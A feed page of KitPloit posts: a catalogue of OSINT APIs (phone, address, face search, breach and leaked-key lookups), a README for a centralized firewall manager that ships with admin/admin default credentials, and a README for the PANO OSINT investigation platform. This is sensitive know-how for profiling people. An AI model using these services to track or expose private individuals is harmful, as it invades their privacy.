FreshRSS

πŸ”’
❌ Secure Planet Training Courses Updated For 2019 - Click Here
There are new available articles, click to refresh the page.
Yesterday β€” May 7th 2025KitPloit - PenTest Tools!

API-s-for-OSINT - List Of API's For Gathering Information About Phone Numbers, Addresses, Domains Etc

By: Unknown

APIs For OSINT

Β This is a Collection of APIs that will be useful for automating various tasks in OSINT.

Thank you for following me! https://cybdetective.com


    IOT/IP Search engines

    Name Link Description Price
    Shodan https://developer.shodan.io Search engine for Internet connected host and devices from $59/month
    Netlas.io https://netlas-api.readthedocs.io/en/latest/ Search engine for Internet connected host and devices. Read more at Netlas CookBook Partly FREE
    Fofa.so https://fofa.so/static_pages/api_help Search engine for Internet connected host and devices ???
    Censys.io https://censys.io/api Search engine for Internet connected host and devices Partly FREE
    Hunter.how https://hunter.how/search-api Search engine for Internet connected host and devices Partly FREE
    Fullhunt.io https://api-docs.fullhunt.io/#introduction Search engine for Internet connected host and devices Partly FREE
    IPQuery.io https://ipquery.io API for ip information such as ip risk, geolocation data, and asn details FREE

    Universal OSINT APIs

    Name Link Description Price
    Social Links https://sociallinks.io/products/sl-api Email info lookup, phone info lookup, individual and company profiling, social media tracking, dark web monitoring and more. Code example of using this API for face search in this repo PAID. Price per request

    Phone Number Lookup and Verification

    Name Link Description Price
    Numverify https://numverify.com Global Phone Number Validation & Lookup JSON API. Supports 232 countries. 250 requests FREE
    Twillo https://www.twilio.com/docs/lookup/api Provides a way to retrieve additional information about a phone number Free or $0.01 per request (for caller lookup)
    Plivo https://www.plivo.com/lookup/ Determine carrier, number type, format, and country for any phone number worldwide from $0.04 per request
    GetContact https://github.com/kovinevmv/getcontact Find info about user by phone number from $6,89 in months/100 requests
    Veriphone https://veriphone.io/ Phone number validation & carrier lookup 1000 requests/month FREE

    Address/ZIP codes lookup

    Name Link Description Price
    Global Address https://rapidapi.com/adminMelissa/api/global-address/ Easily verify, check or lookup address FREE
    US Street Address https://smartystreets.com/docs/cloud/us-street-api Validate and append data for any US postal address FREE
    Google Maps Geocoding API https://developers.google.com/maps/documentation/geocoding/overview convert addresses (like "1600 Amphitheatre Parkway, Mountain View, CA") into geographic coordinates 0.005 USD per request
    Postcoder https://postcoder.com/address-lookup Find adress by postcode Β£130/5000 requests
    Zipcodebase https://zipcodebase.com Lookup postal codes, calculate distances and much more 5000 requests FREE
    Openweathermap geocoding API https://openweathermap.org/api/geocoding-api get geographical coordinates (lat, lon) by using name of the location (city name or area name) 60 calls/minute 1,000,000 calls/month
    DistanceMatrix https://distancematrix.ai/product Calculate, evaluate and plan your routes $1.25-$2 per 1000 elements
    Geotagging API https://geotagging.ai/ Predict geolocations by texts Freemium

    People and documents verification

    Name Link Description Price
    Approuve.com https://appruve.co Allows you to verify the identities of individuals, businesses, and connect to financial account data across Africa Paid
    Onfido.com https://onfido.com Onfido Document Verification lets your users scan a photo ID from any device, before checking it's genuine. Combined with Biometric Verification, it's a seamless way to anchor an account to the real identity of a customer. India Paid
    Superpass.io https://surepass.io/passport-id-verification-api/ Passport, Photo ID and Driver License Verification in India Paid

    Business/Entity search

    Name Link Description Price
    Open corporates https://api.opencorporates.com Companies information Paid, price upon request
    Linkedin company search API https://docs.microsoft.com/en-us/linkedin/marketing/integrations/community-management/organizations/company-search?context=linkedin%2Fcompliance%2Fcontext&tabs=http Find companies using keywords, industry, location, and other criteria FREE
    Mattermark https://rapidapi.com/raygorodskij/api/Mattermark/ Get companies and investor information free 14-day trial, from $49 per month

    Domain/DNS/IP lookup

    Name Link Description Price
    API OSINT DS https://github.com/davidonzo/apiosintDS Collect info about IPv4/FQDN/URLs and file hashes in md5, sha1 or sha256 FREE
    InfoDB API https://www.ipinfodb.com/api The API returns the location of an IP address (country, region, city, zipcode, latitude, longitude) and the associated timezone in XML, JSON or plain text format FREE
    Domainsdb.info https://domainsdb.info Registered Domain Names Search FREE
    BGPView https://bgpview.docs.apiary.io/# allowing consumers to view all sort of analytics data about the current state and structure of the internet FREE
    DNSCheck https://www.dnscheck.co/api monitor the status of both individual DNS records and groups of related DNS records up to 10 DNS records/FREE
    Cloudflare Trace https://github.com/fawazahmed0/cloudflare-trace-api Get IP Address, Timestamp, User Agent, Country Code, IATA, HTTP Version, TLS/SSL Version & More FREE
    Host.io https://host.io/ Get info about domain FREE

    Mobile Apps Endpoints

    Name Link Description Price
    BeVigil OSINT API https://bevigil.com/osint-api provides access to millions of asset footprint data points including domain intel, cloud services, API information, and third party assets extracted from millions of mobile apps being continuously uploaded and scanned by users on bevigil.com 50 credits free/1000 credits/$50

    Scraping

    Name Link Description Price
    WebScraping.AI https://webscraping.ai/ Web Scraping API with built-in proxies and JS rendering FREE
    ZenRows https://www.zenrows.com/ Web Scraping API that bypasses anti-bot solutions while offering JS rendering, and rotating proxies apiKey Yes Unknown FREE

    Whois

    Name Link Description Price
    Whois freaks https://whoisfreaks.com/ well-parsed and structured domain WHOIS data for all domain names, registrars, countries and TLDs since the birth of internet $19/5000 requests
    WhoisXMLApi https://whois.whoisxmlapi.com gathers a variety of domain ownership and registration data points from a comprehensive WHOIS database 500 requests in month/FREE
    IPtoWhois https://www.ip2whois.com/developers-api Get detailed info about a domain 500 requests/month FREE

    GEO IP

    Name Link Description Price
    Ipstack https://ipstack.com Detect country, region, city and zip code FREE
    Ipgeolocation.io https://ipgeolocation.io provides country, city, state, province, local currency, latitude and longitude, company detail, ISP lookup, language, zip code, country calling code, time zone, current time, sunset and sunrise time, moonset and moonrise 30 000 requests per month/FREE
    IPInfoDB https://ipinfodb.com/api Free Geolocation tools and APIs for country, region, city and time zone lookup by IP address FREE
    IP API https://ip-api.com/ Free domain/IP geolocation info FREE

    Wi-fi lookup

    Name Link Description Price
    Mylnikov API https://www.mylnikov.org public API implementation of Wi-Fi Geo-Location database FREE
    Wigle https://api.wigle.net/ get location and other information by SSID FREE

    Network

    Name Link Description Price
    PeetingDB https://www.peeringdb.com/apidocs/ Database of networks, and the go-to location for interconnection data FREE
    PacketTotal https://packettotal.com/api.html .pcap files analyze FREE

    Finance

    Name Link Description Price
    Binlist.net https://binlist.net/ get information about bank by BIN FREE
    FDIC Bank Data API https://banks.data.fdic.gov/docs/ institutions, locations and history events FREE
    Amdoren https://www.amdoren.com/currency-api/ Free currency API with over 150 currencies FREE
    VATComply.com https://www.vatcomply.com/documentation Exchange rates, geolocation and VAT number validation FREE
    Alpaca https://alpaca.markets/docs/api-documentation/api-v2/market-data/alpaca-data-api-v2/ Realtime and historical market data on all US equities and ETFs FREE
    Swiftcodesapi https://swiftcodesapi.com Verifying the validity of a bank SWIFT code or IBAN account number $39 per month/4000 swift lookups
    IBANAPI https://ibanapi.com Validate IBAN number and get bank account information from it Freemium/10$ Starter plan

    Email

    Name Link Description Price
    EVA https://eva.pingutil.com/ Measuring email deliverability & quality FREE
    Mailboxlayer https://mailboxlayer.com/ Simple REST API measuring email deliverability & quality 100 requests FREE, 5000 requests in month β€” $14.49
    EmailCrawlr https://emailcrawlr.com/ Get key information about company websites. Find all email addresses associated with a domain. Get social accounts associated with an email. Verify email address deliverability. 200 requests FREE, 5000 requets β€” $40
    Voila Norbert https://www.voilanorbert.com/api/ Find anyone's email address and ensure your emails reach real people from $49 in month
    Kickbox https://open.kickbox.com/ Email verification API FREE
    FachaAPI https://api.facha.dev/ Allows checking if an email domain is a temporary email domain FREE

    Names/Surnames

    Name Link Description Price
    Genderize.io https://genderize.io Instantly answers the question of how likely a certain name is to be male or female and shows the popularity of the name. 1000 names/day free
    Agify.io https://agify.io Predicts the age of a person given their name 1000 names/day free
    Nataonalize.io https://nationalize.io Predicts the nationality of a person given their name 1000 names/day free

    Pastebin/Leaks

    Name Link Description Price
    HaveIBeenPwned https://haveibeenpwned.com/API/v3 allows the list of pwned accounts (email addresses and usernames) $3.50 per month
    Psdmp.ws https://psbdmp.ws/api search in Pastebin $9.95 per 10000 requests
    LeakPeek https://psbdmp.ws/api searc in leaks databases $9.99 per 4 weeks unlimited access
    BreachDirectory.com https://breachdirectory.com/api_documentation search domain in data breaches databases FREE
    LeekLookup https://leak-lookup.com/api search domain, email_address, fullname, ip address, phone, password, username in leaks databases 10 requests FREE
    BreachDirectory.org https://rapidapi.com/rohan-patra/api/breachdirectory/pricing search domain, email_address, fullname, ip address, phone, password, username in leaks databases (possible to view password hashes) 50 requests in month/FREE

    Archives

    Name Link Description Price
    Wayback Machine API (Memento API, CDX Server API, Wayback Availability JSON API) https://archive.org/help/wayback_api.php Retrieve information about Wayback capture data FREE
    TROVE (Australian Web Archive) API https://trove.nla.gov.au/about/create-something/using-api Retrieve information about TROVE capture data FREE
    Archive-it API https://support.archive-it.org/hc/en-us/articles/115001790023-Access-Archive-It-s-Wayback-index-with-the-CDX-C-API Retrieve information about archive-it capture data FREE
    UK Web Archive API https://ukwa-manage.readthedocs.io/en/latest/#api-reference Retrieve information about UK Web Archive capture data FREE
    Arquivo.pt API https://github.com/arquivo/pwa-technologies/wiki/Arquivo.pt-API Allows full-text search and access preserved web content and related metadata. It is also possible to search by URL, accessing all versions of preserved web content. API returns a JSON object. FREE
    Library Of Congress archive API https://www.loc.gov/apis/ Provides structured data about Library of Congress collections FREE
    BotsArchive https://botsarchive.com/docs.html JSON formatted details about Telegram Bots available in database FREE

    Hashes decrypt/encrypt

    Name Link Description Price
    MD5 Decrypt https://md5decrypt.net/en/Api/ Search for decrypted hashes in the database 1.99 EURO/day

    Crypto

    Name Link Description Price
    BTC.com https://btc.com/btc/adapter?type=api-doc get information about addresses and transanctions FREE
    Blockchair https://blockchair.com Explore data stored on 17 blockchains (BTC, ETH, Cardano, Ripple etc) $0.33 - $1 per 1000 calls
    Bitcointabyse https://www.bitcoinabuse.com/api-docs Lookup bitcoin addresses that have been linked to criminal activity FREE
    Bitcoinwhoswho https://www.bitcoinwhoswho.com/api Scam reports on the Bitcoin Address FREE
    Etherscan https://etherscan.io/apis Ethereum explorer API FREE
    apilayer coinlayer https://coinlayer.com Real-time Crypto Currency Exchange Rates FREE
    BlockFacts https://blockfacts.io/ Real-time crypto data from multiple exchanges via a single unified API, and much more FREE
    Brave NewCoin https://bravenewcoin.com/developers Real-time and historic crypto data from more than 200+ exchanges FREE
    WorldCoinIndex https://www.worldcoinindex.com/apiservice Cryptocurrencies Prices FREE
    WalletLabels https://www.walletlabels.xyz/docs Labels for 7,5 million Ethereum wallets FREE

    Malware

    Name Link Description Price
    VirusTotal https://developers.virustotal.com/reference files and urls analyze Public API is FREE
    AbuseLPDB https://docs.abuseipdb.com/#introduction IP/domain/URL reputation FREE
    AlienVault Open Threat Exchange (OTX) https://otx.alienvault.com/api IP/domain/URL reputation FREE
    Phisherman https://phisherman.gg IP/domain/URL reputation FREE
    URLScan.io https://urlscan.io/about-api/ Scan and Analyse URLs FREE
    Web of Thrust https://support.mywot.com/hc/en-us/sections/360004477734-API- IP/domain/URL reputation FREE
    Threat Jammer https://threatjammer.com/docs/introduction-threat-jammer-user-api IP/domain/URL reputation ???

    Face Search

    Name Link Description Price
    Search4faces https://search4faces.com/api.html Detect and locate human faces within an image, and returns high-precision face bounding boxes. Face⁺⁺ also allows you to store metadata of each detected face for future use. $21 per 1000 requests

    ## Face Detection

    Name Link Description Price
    Face++ https://www.faceplusplus.com/face-detection/ Search for people in social networks by facial image from 0.03 per call
    BetaFace https://www.betafaceapi.com/wpa/ Can scan uploaded image files or image URLs, find faces and analyze them. API also provides verification (faces comparison) and identification (faces search) services, as well able to maintain multiple user-defined recognition databases (namespaces) 50 image per day FREE/from 0.15 EUR per request

    ## Reverse Image Search

    Name Link Description Price
    Google Reverse images search API https://github.com/SOME-1HING/google-reverse-image-api/ This is a simple API built using Node.js and Express.js that allows you to perform Google Reverse Image Search by providing an image URL. FREE (UNOFFICIAL)
    TinEyeAPI https://services.tineye.com/TinEyeAPI Verify images, Moderate user-generated content, Track images and brands, Check copyright compliance, Deploy fraud detection solutions, Identify stock photos, Confirm the uniqueness of an image Start from $200/5000 searches
    Bing Images Search API https://www.microsoft.com/en-us/bing/apis/bing-image-search-api With Bing Image Search API v7, help users scour the web for images. Results include thumbnails, full image URLs, publishing website info, image metadata, and more. 1,000 requests free per month FREE
    MRISA https://github.com/vivithemage/mrisa MRISA (Meta Reverse Image Search API) is a RESTful API which takes an image URL, does a reverse Google image search, and returns a JSON array with the search results FREE? (no official)
    PicImageSearch https://github.com/kitUIN/PicImageSearch Aggregator for different Reverse Image Search API FREE? (no official)

    ## AI Geolocation

    Name Link Description Price
    Geospy https://api.geospy.ai/ Detecting estimation location of uploaded photo Access by request
    Picarta https://picarta.ai/api Detecting estimation location of uploaded photo 100 request/day FREE

    Social Media and Messengers

    Name Link Description Price
    Twitch https://dev.twitch.tv/docs/v5/reference
    YouTube Data API https://developers.google.com/youtube/v3
    Reddit https://www.reddit.com/dev/api/
    Vkontakte https://vk.com/dev/methods
    Twitter API https://developer.twitter.com/en
    Linkedin API https://docs.microsoft.com/en-us/linkedin/
    All Facebook and Instagram API https://developers.facebook.com/docs/
    Whatsapp Business API https://www.whatsapp.com/business/api
    Telegram and Telegram Bot API https://core.telegram.org
    Weibo API https://open.weibo.com/wiki/APIζ–‡ζ‘£/en
    XING https://dev.xing.com/partners/job_integration/api_docs
    Viber https://developers.viber.com/docs/api/rest-bot-api/
    Discord https://discord.com/developers/docs
    Odnoklassniki https://ok.ru/apiok
    Blogger https://developers.google.com/blogger/ The Blogger APIs allows client applications to view and update Blogger content FREE
    Disqus https://disqus.com/api/docs/auth/ Communicate with Disqus data FREE
    Foursquare https://developer.foursquare.com/ Interact with Foursquare users and places (geolocation-based checkins, photos, tips, events, etc) FREE
    HackerNews https://github.com/HackerNews/API Social news for CS and entrepreneurship FREE
    Kakao https://developers.kakao.com/ Kakao Login, Share on KakaoTalk, Social Plugins and more FREE
    Line https://developers.line.biz/ Line Login, Share on Line, Social Plugins and more FREE
    TikTok https://developers.tiktok.com/doc/login-kit-web Fetches user info and user's video posts on TikTok platform FREE
    Tumblr https://www.tumblr.com/docs/en/api/v2 Read and write Tumblr Data FREE

    UNOFFICIAL APIs

    !WARNING Use with caution! Accounts may be blocked permanently for using unofficial APIs.

    Name Link Description Price
    TikTok https://github.com/davidteather/TikTok-Api The Unofficial TikTok API Wrapper In Python FREE
    Google Trends https://github.com/suryasev/unofficial-google-trends-api Unofficial Google Trends API FREE
    YouTube Music https://github.com/sigma67/ytmusicapi Unofficial APi for YouTube Music FREE
    Duolingo https://github.com/KartikTalwar/Duolingo Duolingo unofficial API (can gather info about users) FREE
    Steam. https://github.com/smiley/steamapi An unofficial object-oriented Python library for accessing the Steam Web API. FREE
    Instagram https://github.com/ping/instagram_private_api Instagram Private API FREE
    Discord https://github.com/discordjs/discord.js JavaScript library for interacting with the Discord API FREE
    Zhihu https://github.com/syaning/zhihu-api FREE Unofficial API for Zhihu FREE
    Quora https://github.com/csu/quora-api Unofficial API for Quora FREE
    DnsDumbster https://github.com/PaulSec/API-dnsdumpster.com (Unofficial) Python API for DnsDumbster FREE
    PornHub https://github.com/sskender/pornhub-api Unofficial API for PornHub in Python FREE
    Skype https://github.com/ShyykoSerhiy/skyweb Unofficial Skype API for nodejs via 'Skype (HTTP)' protocol. FREE
    Google Search https://github.com/aviaryan/python-gsearch Google Search unofficial API for Python with no external dependencies FREE
    Airbnb https://github.com/nderkach/airbnb-python Python wrapper around the Airbnb API (unofficial) FREE
    Medium https://github.com/enginebai/PyMedium Unofficial Medium Python Flask API and SDK FREE
    Facebook https://github.com/davidyen1124/Facebot Powerful unofficial Facebook API FREE
    Linkedin https://github.com/tomquirk/linkedin-api Unofficial Linkedin API for Python FREE
    Y2mate https://github.com/Simatwa/y2mate-api Unofficial Y2mate API for Python FREE
    Livescore https://github.com/Simatwa/livescore-api Unofficial Livescore API for Python FREE

    Search Engines

    Name Link Description Price
    Google Custom Search JSON API https://developers.google.com/custom-search/v1/overview Search in Google 100 requests FREE
    Serpstack https://serpstack.com/ Google search results to JSON FREE
    Serpapi https://serpapi.com Google, Baidu, Yandex, Yahoo, DuckDuckGo, Bint and many others search results $50/5000 searches/month
    Bing Web Search API https://www.microsoft.com/en-us/bing/apis/bing-web-search-api Search in Bing (+instant answers and location) 1000 transactions per month FREE
    WolframAlpha API https://products.wolframalpha.com/api/pricing/ Short answers, conversations, calculators and many more from $25 per 1000 queries
    DuckDuckgo Instant Answers API https://duckduckgo.com/api An API for some of our Instant Answers, not for full search results. FREE

    | Memex Marginalia | https://memex.marginalia.nu/projects/edge/api.gmi | An API for new privacy search engine | FREE |

    News analyze

    Name Link Description Price
    MediaStack https://mediastack.com/ News articles search results in JSON 500 requests/month FREE

    Darknet

    Name Link Description Price
    Darksearch.io https://darksearch.io/apidoc search by websites in .onion zone FREE
    Onion Lookup https://onion.ail-project.org/ onion-lookup is a service for checking the existence of Tor hidden services and retrieving their associated metadata. onion-lookup relies on an private AIL instance to obtain the metadata FREE

    Torrents/file sharing

    Name Link Description Price
    Jackett https://github.com/Jackett/Jackett API for automate searching in different torrent trackers FREE
    Torrents API PY https://github.com/Jackett/Jackett Unofficial API for 1337x, Piratebay, Nyaasi, Torlock, Torrent Galaxy, Zooqle, Kickass, Bitsearch, MagnetDL,Libgen, YTS, Limetorrent, TorrentFunk, Glodls, Torre FREE
    Torrent Search API https://github.com/Jackett/Jackett API for Torrent Search Engine with Extratorrents, Piratebay, and ISOhunt 500 queries/day FREE
    Torrent search api https://github.com/JimmyLaurent/torrent-search-api Yet another node torrent scraper (supports iptorrents, torrentleech, torrent9, torrentz2, 1337x, thepiratebay, Yggtorrent, TorrentProject, Eztv, Yts, LimeTorrents) FREE
    Torrentinim https://github.com/sergiotapia/torrentinim Very low memory-footprint, self hosted API-only torrent search engine. Sonarr + Radarr Compatible, native support for Linux, Mac and Windows. FREE

    Vulnerabilities

    Name Link Description Price
    National Vulnerability Database CVE Search API https://nvd.nist.gov/developers/vulnerabilities Get basic information about CVE and CVE history FREE
    OpenCVE API https://docs.opencve.io/api/cve/ Get basic information about CVE FREE
    CVEDetails API https://www.cvedetails.com/documentation/apis Get basic information about CVE partly FREE (?)
    CVESearch API https://docs.cvesearch.com/ Get basic information about CVE by request
    KEVin API https://kevin.gtfkd.com/ API for accessing CISA's Known Exploited Vulnerabilities Catalog (KEV) and CVE Data FREE
    Vulners.com API https://vulners.com Get basic information about CVE FREE for personal use

    Flights

    Name Link Description Price
    Aviation Stack https://aviationstack.com get information about flights, aircrafts and airlines FREE
    OpenSky Network https://opensky-network.org/apidoc/index.html Free real-time ADS-B aviation data FREE
    AviationAPI https://docs.aviationapi.com/ FAA Aeronautical Charts and Publications, Airport Information, and Airport Weather FREE
    FachaAPI https://api.facha.dev Aircraft details and live positioning API FREE

    Webcams

    Name Link Description Price
    Windy Webcams API https://api.windy.com/webcams/docs Get a list of available webcams for a country, city or geographical coordinates FREE with limits or 9990 euro without limits

    ## Regex

    Name Link Description Price
    Autoregex https://autoregex.notion.site/AutoRegex-API-Documentation-97256bad2c114a6db0c5822860214d3a Convert English phrase to regular expression from $3.49/month

    API testing tools

    Name Link
    API Guessr (detect API by auth key or by token) https://api-guesser.netlify.app/
    REQBIN Online REST & SOAP API Testing Tool https://reqbin.com
    ExtendClass Online REST Client https://extendsclass.com/rest-client-online.html
    Codebeatify.org Online API Test https://codebeautify.org/api-test
    SyncWith Google Sheet add-on. Link more than 1000 APIs with Spreadsheet https://workspace.google.com/u/0/marketplace/app/syncwith_crypto_binance_coingecko_airbox/449644239211?hl=ru&pann=sheets_addon_widget
    Talend API Tester Google Chrome Extension https://workspace.google.com/u/0/marketplace/app/syncwith_crypto_binance_coingecko_airbox/449644239211?hl=ru&pann=sheets_addon_widget
    Michael Bazzel APIs search tools https://inteltechniques.com/tools/API.html

    Curl converters (tools that help to write code using API queries)

    Name Link
    Convert curl commands to Python, JavaScript, PHP, R, Go, C#, Ruby, Rust, Elixir, Java, MATLAB, Dart, CFML, Ansible URI or JSON https://curlconverter.com
    Curl-to-PHP. Instantly convert curl commands to PHP code https://incarnate.github.io/curl-to-php/
    Curl to PHP online (Codebeatify) https://codebeautify.org/curl-to-php-online
    Curl to JavaScript fetch https://kigiri.github.io/fetch/
    Curl to JavaScript fetch (Scrapingbee) https://www.scrapingbee.com/curl-converter/javascript-fetch/
    Curl to C# converter https://curl.olsh.me

    Create your own API

    Name Link
    Sheety. Create API frome GOOGLE SHEET https://sheety.co/
    Postman. Platform for creating your own API https://www.postman.com
    Reetoo. Rest API Generator https://retool.com/api-generator/
    Beeceptor. Rest API mocking and intercepting in seconds (no coding). https://beeceptor.com

    Distribute your own API

    Name Link
    RapidAPI. Market your API for millions of developers https://rapidapi.com/solution/api-provider/
    Apilayer. API Marketplace https://apilayer.com

    API Keys Info

    Name Link Description
    Keyhacks https://github.com/streaak/keyhacks Keyhacks is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.
    All about APIKey https://github.com/daffainfo/all-about-apikey Detailed information about API key / OAuth token for different services (Description, Request, Response, Regex, Example)
    API Guessr https://api-guesser.netlify.app/ Enter API Key and and find out which service they belong to

    API directories

    If you don't find what you need, try searching these directories.

    Name Link Description
    APIDOG ApiHub https://apidog.com/apihub/
    Rapid APIs collection https://rapidapi.com/collections
    API Ninjas https://api-ninjas.com/api
    APIs Guru https://apis.guru/
    APIs List https://apislist.com/
    API Context Directory https://apicontext.com/api-directory/
    Any API https://any-api.com/
    Public APIs Github repo https://github.com/public-apis/public-apis

    How to learn how to work with REST API?

    If you don't know how to work with the REST API, I recommend you check out the Netlas API guide I wrote for Netlas.io.

    Netlas Cookbook

    There it is very brief and accessible to write how to automate requests in different programming languages (focus on Python and Bash) and process the resulting JSON data.

    Thank you for following me! https://cybdetective.com



    Before yesterdayKitPloit - PenTest Tools!

    CentralizedFirewall - Provides A Firewall Manager API Designed To Centralize And Streamline The Management Of Firewall Configurations

    By: Unknown


    Firewall Manager API Project

    Installation

    Follow these steps to set up and run the API project:

    1. Clone the Repository

    git clone https://github.com/adriyansyah-mf/CentralizedFirewall
    cd CentralizedFirewall

    2. Edit the .env File

    Update the environment variables in .env according to your configuration.

    nano .env

    3. Start the API with Docker Compose

    docker compose up -d

    This will start the API in detached mode.

    4. Verify the API is Running

    Check if the containers are up:

    docker ps

    Additional Commands

    Stop the API

    docker compose down

    Restart the API

    docker compose restart

    Let me know if you need any modifications! πŸš€

    How to setup for the first time and connect to firewall client

    1. Install Firewall Agent on your node server
    2. Run the agent with the following command
    sudo dpkg -i firewall-client_deb.deb
    1. Create a New Group on the Firewall Manager
    2. Create New API Key on the Firewall Manager
    3. Edit the configuration file on the node server
    nano /usr/local/bin/config.ini
    1. Add the following configuration
    [settings]
    api_url = API-URL
    api_key = API-KEY
    hostname = Node Hostname (make it unique and same as the hostname on the SIEM)
    1. Restart the firewall agent
    systemctl daemon-reload
    systemctl start firewall-agent
    1. Check the status of the firewall agent
    systemctl status firewall-agent
    1. You will see the connected node on the Firewall Manager

    Default Credential

    Username: admin
    Password: admin

    You can change the default credential on the setting page

    How to Integration with SIEM

    1. Install the SIEM on your server
    2. Configure the SIEM to send the log to the Firewall Manager (You can do this via SOAR or SIEM configuration) The request should be POST with the following format
    3. The format of the log should be like this
    curl -X 'POST' \
    'http://api-server:8000/general/add-ip?ip=123.1.1.99&hostname=test&apikey=apikey&comment=log' \
    -H 'accept: application/json' \
    -d ''

    You can see the swagger documentation on the following link

    http://api-server:8000/docs

    The .env detail configuration

    DB=changeme
    JWT_SECRET=changeme
    PASSWORD_SALT=changme
    PASSWORD_TOKEN_KEY=changme
    OPENCTI_URL=changme
    OPENCTI_TOKEN=changme

    Sponsor This Project πŸ’–

    If you find this project helpful, consider supporting me through GitHub Sponsors



    PANO - Advanced OSINT Investigation Platform Combining Graph Visualization, Timeline Analysis, And AI Assistance To Uncover Hidden Connections In Data

    By: Unknown


    PANO is a powerful OSINT investigation platform that combines graph visualization, timeline analysis, and AI-powered tools to help you uncover hidden connections and patterns in your data.

    Getting Started

    1. Clone the repository: bash git clone https://github.com/ALW1EZ/PANO.git cd PANO

    2. Run the application:

    3. Linux: ./start_pano.sh
    4. Windows: start_pano.bat

    The startup script will automatically: - Check for updates - Set up the Python environment - Install dependencies - Launch PANO

    In order to use Email Lookup transform You need to login with GHunt first. After starting the pano via starter scripts;

    1. Select venv manually
    2. Linux: source venv/bin/activate
    3. Windows: call venv\Scripts\activate
    4. See how to login here

    πŸ’‘ Quick Start Guide

    1. Create Investigation: Start a new investigation or load an existing one
    2. Add Entities: Drag entities from the sidebar onto the graph
    3. Discover Connections: Use transforms to automatically find relationships
    4. Analyze: Use timeline and map views to understand patterns
    5. Save: Export your investigation for later use

    πŸ” Features

    πŸ•ΈοΈ Core Functionality

    • Interactive Graph Visualization
    • Drag-and-drop entity creation
    • Multiple layout algorithms (Circular, Hierarchical, Radial, Force-Directed)
    • Dynamic relationship mapping
    • Visual node and edge styling

    • Timeline Analysis

    • Chronological event visualization
    • Interactive timeline navigation
    • Event filtering and grouping
    • Temporal relationship analysis

    • Map Integration

    • Geographic data visualization
    • Location-based analysis
    • Interactive mapping features
    • Coordinate plotting and tracking

    🎯 Entity Management

    • Supported Entity Types
    • πŸ“§ Email addresses
    • πŸ‘€ Usernames
    • 🌐 Websites
    • πŸ–ΌοΈ Images
    • πŸ“ Locations
    • ⏰ Events
    • πŸ“ Text content
    • πŸ”§ Custom entity types

    πŸ”„ Transform System

    • Email Analysis
    • Google account investigation
    • Calendar event extraction
    • Location history analysis
    • Connected services discovery

    • Username Analysis

    • Cross-platform username search
    • Social media profile discovery
    • Platform correlation
    • Web presence analysis

    • Image Analysis

    • Reverse image search
    • Visual content analysis
    • Metadata extraction
    • Related image discovery

    πŸ€– AI Integration

    • PANAI
    • Natural language investigation assistant
    • Automated entity extraction and relationship mapping
    • Pattern recognition and anomaly detection
    • Multi-language support
    • Context-aware suggestions
    • Timeline and graph analysis

    🧩 Core Components

    πŸ“¦ Entities

    Entities are the fundamental building blocks of PANO. They represent distinct pieces of information that can be connected and analyzed:

    • Built-in Types
    • πŸ“§ Email: Email addresses with service detection
    • πŸ‘€ Username: Social media and platform usernames
    • 🌐 Website: Web pages with metadata
    • πŸ–ΌοΈ Image: Images with EXIF and analysis
    • πŸ“ Location: Geographic coordinates and addresses
    • ⏰ Event: Time-based occurrences
    • πŸ“ Text: Generic text content

    • Properties System

    • Type-safe property validation
    • Automatic property getters
    • Dynamic property updates
    • Custom property types
    • Metadata support

    ⚑ Transforms

    Transforms are automated operations that process entities to discover new information and relationships:

    • Operation Types
    • πŸ” Discovery: Find new entities from existing ones
    • πŸ”— Correlation: Connect related entities
    • πŸ“Š Analysis: Extract insights from entity data
    • 🌐 OSINT: Gather open-source intelligence
    • πŸ”„ Enrichment: Add data to existing entities

    • Features

    • Async operation support
    • Progress tracking
    • Error handling
    • Rate limiting
    • Result validation

    πŸ› οΈ Helpers

    Helpers are specialized tools with dedicated UIs for specific investigation tasks:

    • Available Helpers
    • πŸ” Cross-Examination: Analyze statements and testimonies
    • πŸ‘€ Portrait Creator: Generate facial composites
    • πŸ“Έ Media Analyzer: Advanced image processing and analysis
    • πŸ” Base Searcher: Search near places of interest
    • πŸ”„ Translator: Translate text between languages

    • Helper Features

    • Custom Qt interfaces
    • Real-time updates
    • Graph integration
    • Data visualization
    • Export capabilities

    πŸ‘₯ Contributing

    We welcome contributions! To contribute to PANO:

    1. Fork the repository at https://github.com/ALW1EZ/PANO/
    2. Make your changes in your fork
    3. Test your changes thoroughly
    4. Create a Pull Request to our main branch
    5. In your PR description, include:
    6. What the changes do
    7. Why you made these changes
    8. Any testing you've done
    9. Screenshots if applicable

    Note: We use a single main branch for development. All pull requests should be made directly to main.

    πŸ“– Development Guide

    Click to expand development documentation ### System Requirements - Operating System: Windows or Linux - Python 3.11+ - PySide6 for GUI - Internet connection for online features ### Custom Entities Entities are the core data structures in PANO. Each entity represents a piece of information with specific properties and behaviors. To create a custom entity: 1. Create a new file in the `entities` folder (e.g., `entities/phone_number.py`) 2. Implement your entity class:
    from dataclasses import dataclass
    from typing import ClassVar, Dict, Any
    from .base import Entity

    @dataclass
    class PhoneNumber(Entity):
    name: ClassVar[str] = "Phone Number"
    description: ClassVar[str] = "A phone number entity with country code and validation"

    def init_properties(self):
    """Initialize phone number properties"""
    self.setup_properties({
    "number": str,
    "country_code": str,
    "carrier": str,
    "type": str, # mobile, landline, etc.
    "verified": bool
    })

    def update_label(self):
    """Update the display label"""
    self.label = self.format_label(["country_code", "number"])
    ### Custom Transforms Transforms are operations that process entities and generate new insights or relationships. To create a custom transform: 1. Create a new file in the `transforms` folder (e.g., `transforms/phone_lookup.py`) 2. Implement your transform class:
    from dataclasses import dataclass
    from typing import ClassVar, List
    from .base import Transform
    from entities.base import Entity
    from entities.phone_number import PhoneNumber
    from entities.location import Location
    from ui.managers.status_manager import StatusManager

    @dataclass
    class PhoneLookup(Transform):
    name: ClassVar[str] = "Phone Number Lookup"
    description: ClassVar[str] = "Lookup phone number details and location"
    input_types: ClassVar[List[str]] = ["PhoneNumber"]
    output_types: ClassVar[List[str]] = ["Location"]

    async def run(self, entity: PhoneNumber, graph) -> List[Entity]:
    if not isinstance(entity, PhoneNumber):
    return []

    status = StatusManager.get()
    operation_id = status.start_loading("Phone Lookup")

    try:
    # Your phone number lookup logic here
    # Example: query an API for phone number details
    location = Location(properties={
    "country": "Example Country",
    "region": "Example Region",
    "carrier": "Example Carrier",
    "source": "PhoneLookup transform"
    })

    return [location]

    except Exception as e:
    status.set_text(f"Error during phone lookup: {str(e)}")
    return []

    finally:
    status.stop_loading(operation_id)
